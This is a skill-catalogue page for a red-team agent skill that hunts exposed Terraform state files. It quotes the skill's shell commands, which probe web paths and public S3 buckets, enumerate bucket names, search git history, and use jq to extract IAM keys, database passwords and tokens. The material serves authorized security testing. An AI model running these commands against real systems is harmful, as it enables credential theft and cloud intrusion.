terraform-state-leak

terraform-state-leak is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 31 tokens per session (1,823 once invoked), scanned A, original, Apache-2.0.

A security testing guide for finding exposed Terraform state files, which are JSON records of infrastructure managed by Terraform.

In plain words
What is it for?
It is for checking websites, public storage, source repositories, CI artifacts, and common backup paths for readable Terraform state.
Why use it?
A leaked state file can reveal cloud credentials, database passwords, API tokens, private keys, and the layout of deployed infrastructure.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for checking websites, public storage, source repositories, CI artifacts, and common backup paths for readable Terraform state.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/terraform-state-leak
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill terraform-state-leak
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for terraform-state-leak

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/terraform-state-leak/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/terraform-state-leak)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/terraform-state-leak"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/terraform-state-leak/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for terraform-state-leak

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/terraform-state-leak"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/terraform-state-leak.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 31 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,823 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 76
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00031 $0.01823
Opus 5 $0.00015 $0.00911
Sonnet 5 $0.00006 $0.00365
Haiku 4.5 $0.00003 $0.00182

Measured 8d ago against content hash 96fdcbabdf8c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

terraform-state-leak scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md · 190 lines

How it starts

The opening of the file, as written. The whole thing — 190 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Terraform State Leak Exploitation

Terraform's terraform.tfstate file is a plaintext JSON map of every resource Terraform manages, including:

  • IAM access keys / secret keys
  • Database passwords (RDS, ElastiCache, etc.)
  • API tokens passed in as variables
  • TLS private keys
  • Resource IDs / ARNs / topology (great for follow-on attacks)

Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:

  • S3 bucket with public-read ACL
  • S3 bucket with overly permissive policy
  • terraform.tfstate in a public Git repo (commit history!)
  • Backup terraform.tfstate.backup left in webroot
  • Jenkins workspace / GH Actions artifact exposing state

1. Discover exposed state files

Web-exposed:

# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
            '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
            '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
  curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
    echo "FOUND: $TARGET$path"
done

# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
  -x tfstate,tfstate.backup,tfstate.json

S3-direct:

# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'

# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
              "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
  aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done

Git-history:

# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository

# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200

2. Parse the state

# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate

# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
       select(.key | test("password|secret|token|key|credential"; "i")) |
       "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt

# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
       .instances[] | .attributes |
       "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate

# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
       .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
  /tmp/state.tfstate

# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
       to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
       .value' /tmp/state.tfstate

# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
       .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate

Read the full file on GitHub · 190 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 190 lines · 31 tokens per session scan A 96fdcbabdf8c

Subscribe to this mod's changes

terraform-state-leak is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 31 tokens to every session and 1,823 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

implementing-zero-trust-network-access-with-zscaler

Use when implement Zero Trust Network Access using Zscaler Private Access (ZPA) to replace traditional VPN with identity-based, context-aware access to private applications through the Zscaler Zero Trust Exchange. Use when implementing zero trust network access using zscaler private access (zpa).

oyi77/1ai-skills · 69 tokens

implementing-zero-trust-with-beyondcorp

Use when deploy Google BeyondCorp Enterprise zero trust access controls using Identity-Aware Proxy (IAP), context-aware access policies, device trust validation, and Access Context Manager to enforce identity and posture-based access to GCP resources and internal applications. Use when deploying google beyondcorp…

oyi77/1ai-skills · 73 tokens

analyzing-ethereum-smart-contract-vulnerabilities

Use when perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to detect reentrancy, integer overflow, access control, and other vulnerability classes before deployment to Ethereum mainnet. Use when performing static and symbolic analysis of solidity smart contracts using.

oyi77/1ai-skills · 64 tokens

analyzing-azure-activity-logs-for-threats

Use when queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity…

oyi77/1ai-skills · 70 tokens

analyzing-cloud-storage-access-patterns

Use when detect abnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical…

oyi77/1ai-skills · 98 tokens

prometheus-configuration

Set up Prometheus for comprehensive metric collection, storage, and monitoring of infrastructure and applications. Use when implementing metrics collection, setting up monitoring infrastructure, or configuring alerting systems.

Harmeet10000/skills · 40 tokens